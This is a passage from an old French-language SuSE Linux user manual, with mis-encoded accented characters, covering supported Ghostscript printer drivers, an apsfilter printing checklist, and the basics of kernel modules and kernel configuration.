  22758. pouvez avoir recours aux ``pilotes'' du tableau 12.2 page 353 qui ont fait leurs
  22759. preuves.
  22760.  
  22761.        ______________________________________________________________________________________________________________________
  22762.  
  22763.    Apple
  22764.  
  22765.  
  22766.    appledmp                       Apple Dot Matrix Printer (aussi Imagewriter)
  22767.    iwhi                           Apple Imagewriter, haute rΘsolution
  22768.    iwlo                           Apple Imagewriter, faible rΘsolution
  22769.    iwlq                           Apple Imagewriter, 320x216 dpi
  22770.  
  22771.  
  22772.    Canon
  22773.  
  22774.  
  22775.    bj10e                          BubbleJet 10e
  22776.    bj200                          BubbleJet 200
  22777.    bjc600                         BubbleJet 600c, 4000c (couleur)
  22778.    bjc800                         BubbleJet 800c (couleur)
  22779.    lbp8                           LBP-8II
  22780.    lips3                          LIPS III
  22781.  
  22782.  
  22783.    DEC
  22784.  
  22785.  
  22786.    declj250                       LJ 250
  22787.    la50                           LA50
  22788.    la70                           LA70
  22789.    la75                           LA75
  22790.    la75plus                       LA75 Plus
  22791.    lj250                          LJ250
  22792.    ln03                           LN03
  22793.  
  22794.  
  22795.  
  22796.        ______________________________________________________________________________________________________________________
  22797.  
  22798.                           Tab. 12.2: Continuer α la page suivante...
  22799.  
  22800.                                                                                                                                    *
  22801.  *   351
  22802. 12.  L'impression _________________________________________________________________________________________________________________*
  22803.  *_______________________________________@
  22804.  
  22805.                             _______________________________________________________________________________________________________*
  22806.  *_________
  22807.  
  22808.  
  22809.                               Epson
  22810.  
  22811.  
  22812.                               ap3250                         AP3250
  22813.                               eps9high                       Compatible FX-80, 240 dpi
  22814.                               eps9mid                        Compatible FX-80, 120 dpi
  22815.                               epson                          Imprimante α 9 ou 24 aiguilles compatible FX-80
  22816.                               epsonc                         LQ-2550, Fujitsu 1200/2400/3400, impression cou-
  22817.                                                              leur
  22818.                               lp8000                         LP-8000, imprimante laser
  22819.                               lq850                          LQ-850, imprimante α 24 aiguilles, 360dpi
  22820.                               st800                          Stylus 800, Epson ESC/P2
  22821.                               stcolor                        Stylus Color
  22822.  
  22823.  
  22824.                               Hewlett-
  22825.                               Packard
  22826.  
  22827.  
  22828.                               cdeskjet                       DeskJet 500C, impression en noir
  22829.                               cdj500                         DeskJet 500C, 540C
  22830.                               cdj550                         DeskJet 550C, 560C
  22831.                               cdj670                         DeskJet 670C, 690C
  22832.                               cdj850                         DeskJet 850C, 855C, 870C, 1100C
  22833.                               cdj890                         DeskJet 890C
  22834.                               cdj1600                        DeskJet 1600C
  22835.                               cdjcolor                       DeskJet 500C, impression couleur
  22836.                               cdjmono                        DeskJet 500C, impression en noir
  22837.                               deskjet                        DeskJet, DeskJet Plus
  22838.                               djet500                        DeskJet 500
  22839.                               djet500c                       DeskJet 500c
  22840.                               djet820c                       DeskJet 820Cse et 820Cxi ; Θventuellement aussi les
  22841.                                                              modΦles 1000
  22842.                               dnj650c                        DesignJet 650C
  22843.                               hpdj                           DeskJet avec support PCL-3 (impression couleur et
  22844.                                                              monochrome)
  22845.                                                              Documentation Ghostscript : hpdj/gs-hpdj.txt
  22846.                               laserjet                       LaserJet
  22847.                               ljet2p                         LaserJet IIp
  22848.                               ljet3                          LaserJet III
  22849.                               ljet3d                         LaserJet IIID
  22850.                               ljet4                          LaserJet IV
  22851.                               ljetplus                       LaserJet Plus
  22852.                               lj4dith                        LaserJet IV, rastΘrisΘe
  22853.                               lj5mono                        LaserJet 5 & 6 (PCL XL), Bitmap
  22854.                               lj5gray                        LaserJet 5 & 6, Bitmap monochrome
  22855.                               lp2563                         2563B LinePrinter
  22856.                               paintjet                       PaintJet impression couleur
  22857.  
  22858.                             _______________________________________________________________________________________________________*
  22859.  *_________
  22860.  
  22861.                                                      Tab. 12.2: Continuer α la page suivante...
  22862.  
  22863.  
  22864. 352
  22865.        _______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
  22866.  *______________________
  22867.  
  22868.        ______________________________________________________________________________________________________________________
  22869.  
  22870.  
  22871.    pj                             PaintJet XL, Alternative
  22872.    pjetxl                         PaintJet 300XL
  22873.    pjxl                           PaintJet 300XL
  22874.    pjxl300                        PaintJet 300XL, DeskJet 1200C
  22875.  
  22876.  
  22877.    IBM
  22878.  
  22879.  
  22880.    ibmpro                         Proprinter, 9 aiguilles
  22881.    jetp3852                       Jetprinter 3852
  22882.  
  22883.  
  22884.    OKI
  22885.  
  22886.  
  22887.    oki182                         MicroLine 182
  22888.    okiibm                         MicroLine, compatible IBM
  22889.  
  22890.  
  22891.    Tektronix
  22892.  
  22893.  
  22894.    t4693d2                        4693d, impression couleur
  22895.    t4693d4                        4693d, impression couleur
  22896.    t4693d8                        4693d, impression couleur
  22897.    tek4696                        4695/4696
  22898.  
  22899.  
  22900.    Autres
  22901.  
  22902.  
  22903.    hl7x0                          Brother 720, 730, 820
  22904.    imagen                         Imagen ImPress
  22905.    m8510                          C.Itoh M8510
  22906.    necp6                          NEC P6, P6+, P60 bei 360 dpi
  22907.    oce9050                        OCE 9050
  22908.    r4081                          Ricoh 4081, imprimante laser
  22909.    sj48                           StarJet 48
  22910.    cp50                           Mitsubishi CP50, imprimante couleur
  22911.    xes                            Xerox XES (2700, 3700, 4045)
  22912.  
  22913.        ______________________________________________________________________________________________________________________
  22914.  
  22915.                  Tab. 12.2: Imprimantes supportΘes (Ghostscript 5.10)
  22916. Bien  entendu,  toutes  les  imprimantes  compatibles  HP  Laserjet  4  ainsi  que
  22917. d'autres imprimantes PostScript sont directement supportΘes.
  22918.  
  22919. Lors de l'installation de apsfilter  ou lors de la configuration avec YaST , la
  22920. dΘnomination de l'imprimante qui se trouve dans la colonne de gauche doit
  22921. Ωtre indiquΘe (par exemple djet500       ).
  22922.  
  22923. Si  l'imprimante  que  vous  utilisez  n'est  pas  supportΘe,  cela  ne  signifie  pas
  22924. que  vous  ne  pouvez  pas  utiliser  apsfilter .  Dans  ce  cas,  vous  devez  choi-
  22925. sir  une  imprimante  si  possible  similaire  α  la  v⌠tre  :  trΦs  souvent  le  pilote
  22926. convient aussi pour un modΦle prΘcΘdent encore assez rΘcent. Vous pouvez
  22927.  
  22928.  
  22929.                                                                                                                                    *
  22930.  *   353
  22931. 12.  L'impression _________________________________________________________________________________________________________________*
  22932.  *_______________________________________@
  22933.  
  22934.  
  22935.  
  22936.                            en  outre  obtenir  une  aide  pour  le  choix  du  pilote  dans  la  base  de  donnΘes
  22937.                            CDB (angl. Component Database)                 , dans la base de donnΘes du matΘriel de
  22938.                            SuSE     : http://cdb.suse.de/
  22939.                            ________________________________________________________________________________________________________*
  22940.  *________|||||
  22941.                            |  Il existe sur le marchΘ de trΦs nombreuses imprimantes qui portent la men-                           *
  22942.  *        ||||
  22943.                            |                                                                                                       *
  22944.  *        |||
  22945.                            |  tion ``for Windows''. Il arrive aussi frΘquemment de voir une autre dΘno-                            *
  22946.  *        |||
  22947.                            |                                                                                                       *
  22948.  *        |||
  22949.                            |  mination qui est ``imprimante GDI''. De telles imprimantes peuvent, en cas                           *
  22950.  *        |||
  22951.                            |  de chance, Ωtre utilisables sous Linux avec un certain nombre de restric-                            *
  22952.  *        |||
  22953.                            |                                                                                                       *
  22954.  *        |||
  22955.                            |  tions.  Mais  trΦs  souvent  elles  ne  sont  pas  du  tout  utilisables.  Consultez                 *
  22956.  *        |||
  22957.                            |  la CDB sous http://cdb.suse.de/ ou renseignez-vous auprΦs de votre                                   *
  22958.  *        |||
  22959.                            |                                                                                                       *
  22960.  *        |||
  22961.                            |  revendeur !                                                                                          *
  22962.  *        |||
  22963.                            |                                                                                                       *
  22964.  *        |||
  22965.                            |  Il existe, spΘcialement pour de telles imprimantes HP DeskJet, un conver-                            *
  22966.  *        |||
  22967.                            |  tisseur logiciel qui permet de rΘaliser des impressions en noir et blanc (pa-                        *
  22968.  *        |||
  22969.                            |                                                                                                       *
  22970.  *        |||
  22971.                            |  quetage  ppa,  sΘrie  ap).  Pour  l'installation,  lisez  la  documentation  sous                    *
  22972.  *        |||
  22973.                            |  usr/doc/packages/ppa  ou  l'article  http://sdb.suse.de/sdb/en/                                      *
  22974.  *        |||
  22975.                            |                                                                                                       *
  22976.  *        |||
  22977.                            |  html/ke_printer-gdi.html dans la SDB. Le paquetage pbm2l7k, sΘ-                                      *
  22978.  *        |||
  22979.                            |  rie  ap  est  prΘvu  pour  les  imprimantes  Lexmark  (modΦles  5700,  7000  et                      *
  22980.  *        |||
  22981.                            |                                                                                                       *
  22982.  *        |||
  22983.                            |  7200). La documentation se trouve sous /usr/doc/packages/pbm2l7k.                                    *
  22984.  *        |||
  22985.                            |_______________________________________________________________________________________________________*
  22986.  *________|||_
  22987.  
  22988.                            Une  erreur  trΦs  frΘquente  est  le  choix  d'une  rΘsolution  incompatible.  Si  ce
  22989.                            cas  se  produit,  la  rΘsolution  correcte  (c'est-α-dire  le  nombre  de  points  par
  22990.                            pouce  (angl.  dpi=dots  per  inch)  que  maεtrise  l'imprimante)  peut  Ωtre  in-
  22991.                            sΘrΘe  dans  la  variable  GS_RESOL  dans  /etc/apsfilterrc                (par  exemple
  22992.                            GS_RESOL=360x360               .  Quelques  entrΘes  ~  placΘes  en  commentaire  ~  y  sont
  22993.                            dΘjα incluses).
  22994.  
  22995.  
  22996.  
  22997.                            12.7        Liste de contr⌠le pour l'impression : apsfilter
  22998.  
  22999.                              ~   Le paquetage aps, sΘrie ap pour apsfilter est-il installΘ ?
  23000.  
  23001.                              ~   apsfilter   a-t-il  ΘtΘ  configurΘ  avec  YaST   ou  /var/lib/apsfilter/
  23002.                                  SETUP (lprsetup        ) ?
  23003.  
  23004.                              ~   Les paquetage net_tool, paquetage netcfg, paquetage nkita, paque-
  23005.                                  tage nkitb (tous de la sΘrie a) sont-ils installΘs ? Le paquetage lprold
  23006.                                  de la sΘrie n est-il installΘ ?
  23007.  
  23008.                              ~   Le  noyau  a-t-il  un  support  pour  TCP/IP ?  IndiquΘ  par  le  message  "IP
  23009.                                  Protocols  :  ICMP,  UDP,  TCP" dans /var/log/boot.msg.
  23010.  
  23011.                              ~   Le support pour les ports parallΦles est-il actif ?
  23012.  
  23013.                                  ~   si  le  module  lp   est  effectivement  chargΘ.  Avec  le  noyau  2.2.xx,  les
  23014.                                      modules parport       et parport_pc          doivent aussi Ωtre chargΘs (voir pa-
  23015.                                      ragraphe 10.4.3 page 307).
  23016.  
  23017.                                  ~   Il se peut que vous ayez un BIOS ``Plug-and-Play'' et que votre inter-
  23018.                                      face soit configurΘe, dans le BIOS de la machine, sur auto    . Assignez
  23019.                                      explicitement une adresse α l'interface (la valeur standard est 0x0378
  23020.                                      ou simplement 378   ).
  23021.  
  23022.                                  ~   Au cas o∙ l'imprimante ne ferait que ``clignoter'', il est possible que
  23023.                                      l'interface  soit  configurΘe  sur  ECP+EPP        dans  le  BIOS,  ce  qui  n'est
  23024.  
  23025.  
  23026. 354
  23027.      ____________________________________________________12.7.__Liste_de_contr⌠le_pour_l'impression_:_apsfilter____________________*
  23028.  *____________________
  23029.  
  23030.  
  23031.  
  23032.         d'aucune  utilitΘ  pour  l'imprimante.  Dans  un  tel  cas,  choisissez  soit
  23033.         l'option normal      , soit l'option SPP    ou encore l'option ECP   .
  23034.  
  23035. ~   Si l'imprimante ne supporte pas la rΘsolution standard 300   300 dpi : La
  23036.     rΘsolution adΘquate selon le manuel de l'imprimante a-t-elle ΘtΘ configu-
  23037.     rΘe avec YaST  ou dans le fichier /etc/apsfilterrc               ?
  23038.  
  23039. ~   Que dit lpc  status         ?
  23040.  
  23041. ~   Faites un essai avec lpc  up  all       .
  23042.  
  23043. ~   La file d'impression raw    devrait du moins fonctionner pour chaque im-
  23044.     primante et permettre au minimum la sortie de fichiers ASCII. Une ex-
  23045.     ception est constituΘe par les ``imprimantes GDI'' (voir plus haut la page
  23046.     prΘcΘdente).
  23047.  
  23048. ~   Si votre imprimante fournit des impressions dans le sens horizontal (en
  23049.     mode landscape) et si vous ne le souhaitez pas, lisez la page 341.
  23050.  
  23051. ~   Si vous utiliser l'option -P   pour lancer lpr   , vous ne devez laisser aucun
  23052.     espace devant le nom de l'imprimante.
  23053.  
  23054. ~   Si vous pouvez sortir sur l'imprimante des textes ASCII via la file d'im-
  23055.     pression ``raw'' (-Praw     ), essayez maintenant d'imprimer un fichier Post-
  23056.     Script rΘgulier avec lpr   . Vous pouvez soit gΘnΘrer un tel fichier PostScript
  23057.     et l'imprimer :
  23058.           tux@terre:  >  a2ps  -nP  -1  -p  /etc/hosts  >  /var/tmp/hosts.ps
  23059.           tux@terre:  >  lpr  /var/tmp/hosts.ps
  23060.  
  23061.     soit utiliser un fichier fourni avec Ghostscript :
  23062.           tux@terre:  >  lpr  /usr/share/ghostscript/5.10/examples/tiger.ps
  23063.  
  23064.  
  23065. ~   Contr⌠lez  les  fichiers  log  sous  /var/spool/lpd/NOM_DU_PILOTE.
  23066.     Vous  devez  bien  s√r  remplacer  NOM_DU_PILOTE  par  le  pilote  que  vous
  23067.     avez choisi.
  23068.  
  23069. ~   Utilisez-vous l'interface d'imprimante qui convient (voir paragraphe 12.1
  23070.     page 333).
  23071.  
  23072. ~   Le noyau ne doit contenir aucun pilote PLIP (/var/log/boot.msg) !
  23073.  
  23074.                                                                                                                                    *
  23075.  * 355
  23076. 12.  L'impression _________________________________________________________________________________________________________________*
  23077.  *_______________________________________@
  23078.  
  23079. 356
  23080.  
  23081.  
  23082.  
  23083.  
  23084.                              SixiΦme  partie
  23085.  
  23086.  
  23087. Le   noyau   et   les   paramΦtres
  23088.  
  23089.  
  23090.  
  23091.                                   du   noyau
  23092.  
  23093.  
  23094.  
  23095.                                                                                                                                   3*
  23096.  *57
  23097.  
  23098.  
  23099.                                                                                                       Chapitre  13
  23100.                                                                                                        Le   noyau
  23101.  
  23102.  
  23103. Le noyau qui, au cours de l'installation, est peut-Ωtre Θcrit sur la disquette ~ et
  23104. que l'on trouve aussi dans le rΘpertoire boot du systΦme installΘ ~ est confi-
  23105. gurΘ de maniΦre α supporter une gamme trΦs Θtendue de matΘriel. Ce noyau
  23106. n'est donc pas construit spΘcialement pour votre systΦme. Mais si vous avez
  23107. fait le bon choix lors de l'installation ou de la mise α jour, vous avez un noyau
  23108. tout spΘcialement optimisΘ pour votre processeur. C'est pourquoi il n'est pas
  23109. absolument indispensable de gΘnΘrer votre propre noyau. Si vous dΘsirez tou-
  23110. tefois essayer certaines fonctionnalitΘs ou pilotes ``au stade expΘrimental'', il
  23111. peut s'avΘrer nΘcessaire de ``construire vous-mΩme'' un noyau. Et il ne faut
  23112. pas  non  plus  nΘgliger  le  fait  que  la  configuration  du  noyau  donne  une  vue
  23113. extrΩmement intΘressante de l'Θtat actuel du dΘveloppement.
  23114.  
  23115. Pour la crΘation d'un nouveau noyau, il existe dΘjα pour le compilateur C des
  23116. Makefiles qui permettent d'automatiser presque entiΦrement la procΘdure.
  23117. Seules les questions posΘes au sujet du matΘriel que doit supporter le noyau
  23118. doivent Ωtre traitΘes en mode interactif.
  23119.  
  23120. La  compilation  de  votre  propre  noyau  n'est  pas  couverte  par  l'Assistance
  23121. Technique α l'Installation (voir paragraphe H.1.2 page 558). Nous sommes
  23122. toutefois volontiers disposΘs α vous aider dans le cadre de notre Service Pro
  23123. facturΘ sΘparΘment (voir paragraphe H.3 page 561).
  23124.        _______________________________________________________________________________________________________________________||
  23125.        ||||||||  La description qui suit concerne essentiellement le noyau de la sΘrie 2.2.x.                   |||            |
  23126.        ||||||||                                                                                                 ||             |
  23127.        ||||||||  Bien  que  beaucoup  de  choses  s'appliquent  encore  aux  noyaux  de  la  sΘ-                ||             |
  23128.        ||||||||  rie 2.0.x, il faut cependant s'attendre α trouver, dans les dΘtails, certaines                 ||             |
  23129.        ||||||||                                                                                                 ||             |
  23130.        ||||||||  divergences qui bien que minimes peuvent avoir une importance dΘcisive !                       ||             |
  23131.        ||||||||_______________________________________________________________________________________________________________||_
  23132.  
  23133.  
  23134. 13.1        Les sources du noyau
  23135.  
  23136. Pour construire un nouveau noyau, il est bien entendu nΘcessaire d'avoir ins-
  23137. tallΘ aussi bien les sources du noyau (paquetage lx_suse) que le compila-
  23138. teur C au minimum (paquetage gcc) ainsi que les utilitaires GNU (paquetage
  23139. binutils) et les fichiers include pour le compilateur C (paquetage libc).
  23140. Ces paquetages sont contenus dans la sΘrie D (DΘveloppement). En rΦgle gΘ-
  23141. nΘrale, il est fortement conseillΘ d'installer le compilateur C car le langage de
  23142. programmation C  est insΘparablement liΘ au systΦme d'exploitation Linux.
  23143.  
  23144. Les  sources  du  noyau  se  trouvent  dans  le  rΘpertoire  /usr/src/linux.  Au
  23145. cas o∙ vous auriez l'intention d'expΘrimenter certaines choses et d'avoir si-
  23146.  
  23147.  
  23148.                                                                                                                                    *
  23149.  *   359
  23150. 13.  Le noyau     _________________________________________________________________________________________________________________*
  23151.  *_______________________________________@
  23152.  
  23153.  
  23154.  
  23155.                            multanΘment plusieurs versions du noyau sur votre disque, la solution la plus
  23156.                            logique consiste α dΘcompresser ces versions dans diffΘrents sous-repertoires
  23157.                            et α accΘder aux sources dont vous avez besoin en passant par un lien. Cette
  23158.                            forme d'installation est rΘalisΘe par YaST  en mode automatique.
  23159.  
  23160.                            Il  est  en  fait  possible  d'installer  et  de  compiler  les  sources  du  noyau  dans
  23161.                            n'importe quel sous-rΘpertoire. Comme il existe toutefois de nombreux logi-
  23162.                            ciels qui s'attendent α trouver les sources du noyau sous /usr/src/linux, il
  23163.                            serait judicieux de choisir ce rΘpertoire afin de garantir une compilation sans
  23164.                            dΘfauts des programmes proches du systΦme.
  23165.  
  23166.  
  23167.  
  23168.                            13.2        Modules du noyau
  23169.  
  23170.                            Plusieurs pilotes et fonctionnalitΘs du noyau Linux n'ont maintenant plus be-
  23171.                            soin d'Ωtre compilΘs de faτon permanente dans le noyau mais peuvent Ωtre
  23172.                            chargΘs, en cours d'exΘcution, sous forme de modules du noyau (angl. kernel
  23173.                            module). Lors de la configuration du noyau, on dΘtermine les pilotes qui se-
  23174.                            ront inclus en permanence et ceux qui seront chargΘs sous forme de modules.
  23175.  
  23176.                            Les modules du noyau sont placΘs dans le rΘpertoire /lib/modules/            <Version>          .
  23177.                            Ici,  la  variable  <Version>  correspond  α  la  version  actuelle  du  noyau  (par
  23178.                            exemple 2.2.14).
  23179.  
  23180.                            Vous devriez tirer parti de cette fonctionnalitΘ aussi souvent que possible. La
  23181.                            rΦgle  de  base  est  la  suivante  :  Tous  les  ΘlΘments  du  noyau  qui  ne  sont  pas
  23182.                            absolument  indispensables  pendant  le  processus  d'amorτage  devraient  Ωtre
  23183.                            compilΘs  sous  forme  de  modules.  Il  est  ainsi  garanti  que  le  noyau  ne  sera
  23184.                            pas  trop  gros  et  qu'il  pourra  Ωtre  chargΘ  sans  difficultΘ  par  le  BIOS  et  par
  23185.                            n'importe  quel  chargeur.  Le  pilote  du  disque  dur,  le  support  pour  ext2     et
  23186.                            autres  choses  similaires  doivent  en  gΘnΘral  Ωtre  directement  compilΘs  dans
  23187.                            le  noyau,  le  support  pour  isofs    ,  msdos     ou  sound     devrait  en  tout  cas  Ωtre
  23188.                            compilΘ en module.
  23189.  
  23190.  
  23191.                            Manipulation des modules
  23192.  
  23193.                            Pour la manipulation des modules, vous disposez des commandes suivantes :
  23194.  
  23195.                              ~   insmod
  23196.  
  23197.                                  La commande insmod  charge le module spΘcifiΘ. Il est recherchΘ dans un
  23198.                                  sous-rΘpertoire de /lib/modules/<Version>                      . Nous vous recomman-
  23199.                                  dons d'utiliser modprobe        (voir plus bas) α la place de insmod
  23200.  
  23201.                              ~   rmmod
  23202.  
  23203.                                  dΘcharge le module spΘcifiΘ. Ceci n'est naturellement possible que si la
  23204.                                  fonctionnalitΘ correspondante du noyau n'est plus utilisΘe. Il n'est donc
  23205.                                  pas possible de dΘcharger le module isofs      si un CD est encore montΘ.
  23206.  
  23207.                              ~   depmod
  23208.  
  23209.                                  Cette  commande  crΘe  un  fichier  du  nom  de  modules.dep  dans  le  rΘ-
  23210.                                  pertoire  /lib/modules/<Version>                       qui  contient  la  liste  des  dΘpen-
  23211.                                  dances  entre  les  diffΘrents  modules.  Il  est  ainsi  garanti  que  lorsqu'un
  23212.                                  module est chargΘ, tous les modules dont il dΘpend sont Θgalement char-
  23213.                                  gΘs automatiquement. Si le lancement du dΘmon kerneld  est prΘvu dans
  23214.  
  23215.  
  23216. 360
  23217.        ______________________________________________________________________________________________13.2.__Modules_du_noyau_______*
  23218.  *______________________
  23219.  
  23220.  
  23221.  
  23222.       /etc/rc.config,  le  fichier  devant  contenir  les  dΘpendances  des  mo-
  23223.       dules  sera  automatiquement  gΘnΘrΘ  au  dΘmarrage  du  systΦme,  α  moins
  23224.       bien s√r qu'il n'existe dΘjα.
  23225.  
  23226.   ~   modprobe
  23227.  
  23228.       Chargement ou dΘchargement d'un module en tenant compte des dΘpen-
  23229.       dances d'autres modules. Cette commande est trΦs puissante et peut Ωtre
  23230.       utilisΘe pour beaucoup d'autres choses (pour tester par exemple tous les
  23231.       modules d'un type particulier jusqu'α ce que l'un d'entre d'eux puisse Ωtre
  23232.       chargΘ avec succΦs). Contrairement α ce qui se passe lors du chargement
  23233.       α l'aide de insmod , modprobe  lit le contenu du fichier /etc/modules.
  23234.       conf. Il convient donc, en rΦgle gΘnΘrale, de l'utiliser pour le chargement
  23235.       des modules. Pour une description dΘtaillΘe de toutes les possibilitΘs, lisez
  23236.       les pages de man qui se rapportent α ces sujets.
  23237.  
  23238.   ~   lsmod
  23239.  
  23240.       Affiche la liste des modules actuellement chargΘs et vous fait savoir par
  23241.       combien  d'autres  modules  ils  sont  utilisΘs.  Les  modules  chargΘs  par  le
  23242.       dΘmon kerneld sont suivis de la mention (autoclean)          . Cela signifie que
  23243.       ces  modules  seront  automatiquement  supprimΘs  lorsqu'ils  n'auront  pas
  23244.       ΘtΘ utilisΘs pendant un certain temps.
  23245.  
  23246.  
  23247. /etc/modules.conf
  23248.  
  23249. On  peut  influer  sur  le  chargement  des  modules  α  l'aide  du  fichier  /etc/
  23250. modules.conf ; voir page de man de depmod       (man  depmod        ).
  23251.  
  23252. Remarque  :  └  partir  de  SuSE     Linux  6.3,  le  nom  du  fichier  /etc/conf.
  23253. modules a ΘtΘ modifiΘ pour devenir /etc/modules.conf.
  23254.  
  23255. Il est en particulier possible d'insΘrer dans ce fichier les paramΦtres pour les
  23256. modules qui accΦdent directement au matΘriel et doivent de ce fait Ωtre adaptΘs
  23257. α un systΦme spΘcifique (par exemple lecteurs de CD-ROM ou pilotes de rΘ-
  23258. seau). Les paramΦtres entrΘs ici sont en principe identiques α ceux transmis α
  23259. l'invite d'amorτage (par exemple de LILO , voir paragraphe 14.3.2 page 370).
  23260. Dans de nombreux cas cependant, les noms diffΦrent de ceux utilisΘs α l'in-
  23261. vite d'amorτage (voir α titre comparatif le paragraphe 14.3.4 page 383). Si
  23262. le chargement d'un module n'a pas rΘussi, essayez de spΘcifier votre matΘriel
  23263. dans ce fichier et utilisez, pour le chargement du module, modprobe α la place
  23264. de insmod .
  23265.  
  23266.  
  23267.  
  23268. Kmod  ~ Le chargeur de modules du noyau
  23269.  
  23270. La maniΦre la plus ΘlΘgante d'utiliser les modules du noyau consiste, depuis
  23271. la  version  2.2.x,  α  lancer  le  ``chargeur  de  modules''  Kmod  qui  remplace  le
  23272. ``vieux'' dΘmon kerneld .
  23273.  
  23274. Kmod  tourne en arriΦre-plan et veille α ce que les modules nΘcessaires soient
  23275. chargΘs  avec  modprobe  dΦs  que  la  fonction  correspondante  du  noyau  est
  23276. requise.
  23277.  
  23278. Pour pouvoir utiliser Kmod ,  vous devez activer l'option `Kernel  module
  23279. loader' (CONFIG_KMOD          ) lors de la configuration du noyau.
  23280.  
  23281.  
  23282.                                                                                                                                    *
  23283.  *   361
  23284. 13.  Le noyau     _________________________________________________________________________________________________________________*
  23285.  *_______________________________________@
  23286.  
  23287.  
  23288.  
  23289.                            Les pilotes nΘcessaires pour accΘder au systΦme de fichiers racine doivent Ωtre
  23290.                            inclus en permanence dans le noyau. Vous ne devriez donc configurer ni votre
  23291.                            pilote  SCSI  ni  le  systΦme  de  fichiers  de  la  partition  racine  (habituellement
  23292.                            ext2    ) sous forme de modules !
  23293.                            ________________________________________________________________________________________________________*
  23294.  *________|||
  23295.                            |                                                                                                       *
  23296.  *        |||
  23297.                            |  Comme SuSE     Linux utilise maintenant initrd       (angl. initial ramdisk) qui                     *
  23298.  *        |||
  23299.                            |  lui sert par exemple α intΘgrer le pilote SCSI, vous devez penser, lors de                           *
  23300.  *        |||
  23301.                            |                                                                                                       *
  23302.  *        |||
  23303.                            |  la crΘation de votre propre noyau, α modifier la variable INITRD_MODULES                             *
  23304.  *        |||
  23305.                            |  dans le fichier /etc/rc.config (paragraphe 17.6 page 453) et α mettre                                *
  23306.  *        |||
  23307.                            |                                                                                                       *
  23308.  *        |||
  23309.                            |  la ligne initrd en commentaire dans le fichier /etc/lilo.conf (voir le                               *
  23310.  *        |||
  23311.                            |  paragraphe  16.2.5  page  427).  ~  Si  vous  omettez  de  le  faire,  le  noyau  se                 *
  23312.  *        |||
  23313.                            |                                                                                                       *
  23314.  *        |||
  23315.                            |  plantera lors de l'amorτage !                                                                        *
  23316.  *        |||
  23317.                            |_______________________________________________________________________________________________________*
  23318.  *________|||_
  23319.  
  23320.                            L'utilisation  de  modules  du  noyau  s'impose  tout  particuliΦrement  pour  les
  23321.                            fonctionnalitΘs dont on se sert rarement ou de faτon irrΘguliΦre comme par
  23322.                            exemple  parport        et  le  support  d'impression,  les  pilotes  pour  lecteurs  de
  23323.                            disquettes ou certains systΦmes de fichiers qui ne sont utilisΘs que de faτon
  23324.                            occasionnelle.
  23325.  
  23326.                            Kmod  n'a  pas  ΘtΘ  conτu  pour  dΘcharger  automatiquement  les  modules.
  23327.                            Compte  tenu  de  la  quantitΘ  de  RAM  dont  disposent  aujourd'hui  les  or-
  23328.                            dinateurs,  le  gain  de  mΘmoire  serait  nΘgligeable.  Voir  aussi  /usr/src/
  23329.                            linux/Documentation/kmod.txt.  Pour  les  machines  serveurs  qui  ont
  23330.                            des  fonctions  particuliΦres  α  remplir  et  n'ont  besoin  que  d'un  petit  nombre
  23331.                            de  pilotes,  on  prΘfΦre,  pour  des  raisons  de  performances,  utiliser  un  noyau
  23332.                            ``monolithique''.
  23333.  
  23334.  
  23335.  
  23336.                            13.3        Configuration du noyau
  23337.  
  23338.                            La  configuration  du  noyau  sΘlectionnΘ  au  cours  de  l'installation  ou  de  la
  23339.                            mise  α  jour  se  trouve  dans  le  fichier  /usr/src/linux/.config  (voir  pa-
  23340.                            ragraphe 2.2.9 page 38). Ce fichier ne dΘcrit toutefois que le noyau et non pas
  23341.                            les modules provenant du paquetage kernmod. Si vous voulez aussi recompi-
  23342.                            ler des modules, vous devez les sΘlectionner explicitement.
  23343.  
  23344.                            La configuration du noyau peut Ωtre rΘalisΘe de trois maniΦres diffΘrentes :
  23345.  
  23346.  
  23347.                             1.   depuis la ligne de commande
  23348.  
  23349.                             2.   dans le menu en mode texte
  23350.  
  23351.                             3.   dans le menu sous le systΦme X Window
  23352.  
  23353.  
  23354.                            Ces trois mΘthodes vont maintenant vous Ωtre prΘsentΘes briΦvement.
  23355.  
  23356.  
  23357.                            Configuration depuis la ligne de commande
  23358.  
  23359.                            Pour configurer le noyau, passez α /usr/src/linux et tapez la commande
  23360.                            suivante :
  23361.  
  23362.                                  terre:/usr/src/linux  #  make  config
  23363.  
  23364.                            On vous posera des questions sur toute une sΘrie de fonctionnalitΘs du sys-
  23365.                            tΦme que le noyau doit supporter. Vous pouvez normalement rΘpondre α ces
  23366.  
  23367.  
  23368. 362
  23369.        _______________________________________________________________13.4.__ParamΦtres_de_configuration_du_noyau__________________*
  23370.  *______________________
  23371.  
  23372.  
  23373.  
  23374. questions  de  deux  ou  trois  maniΦres  diffΘrentes  : _soit  simplement | __|yet_| __|n
  23375. soit  en__choisissant  l'une  des  trois  possibilitΘs  |_y| (angl.  yes),  |_n| (angl.  no)
  23376. et   m ||||||_(angl. module). Dans ce cas, `m' signifie que le pilote correspondant
  23377. n'est  pas  inclus  de  faτon  permanente  dans  le  noyau  mais  qu'il  est  compilΘ
  23378. sous forme de module chargΘ en cours d'exΘcution du noyau. Il va de soi que
  23379. tous les pilotes absolument indispensables α l'amorτage du systΦme doivent
  23380. Ωtre inclus_en permanence dans le noyau. Dans de tels cas, vous devez donc
  23381. choisir |y_ |.
  23382.  
  23383. Si  vous  rΘpondez  α  une  question  en  pressant  une  autre  touche,  vous  verrez
  23384. l'affichage d'un bref message d'aide concernant l'option en question.
  23385.  
  23386.  
  23387. Configuration en mode texte
  23388.  
  23389. Une mΘthode plus plaisante  de configuration consiste α utiliser la commande                                       RecommandΘ !
  23390.  
  23391.       terre:/usr/src/linux  #  make  menuconfig
  23392.  
  23393. Cela vous Θvite tout particuliΦrement d'avoir α vous ``frayer un chemin'' au
  23394. travers d'une multitude de questions pour apporter de lΘgΦres modifications α
  23395. votre configuration.
  23396.  
  23397.  
  23398. Configuration sous le systΦme X Window
  23399.  
  23400. Si vous avec installΘ le systΦme X Window (paquetage xf86) ainsi que Tcl/Tk
  23401. (paquetage  tcl  et  paquetage  tk),  vous  avez  l'alternative  d'effectuer  votre
  23402. configuration en tapant
  23403.  
  23404.       terre:/usr/src/linux  #  make  xconfig
  23405.  
  23406. Vous avez alors une interface graphique qui rend la configuration plus confor-
  23407. table. Pour cela, vous devez toutefois dΘmarrer le systΦme X Window sous le
  23408. compte `root' car il vous faudrait autrement prendre des mesures supplΘ-
  23409. mentaires pour avoir accΦs α l'affichage d'un autre utilisateur Θventuel.
  23410.  
  23411.  
  23412.  
  23413. 13.4        ParamΦtres de configuration du noyau
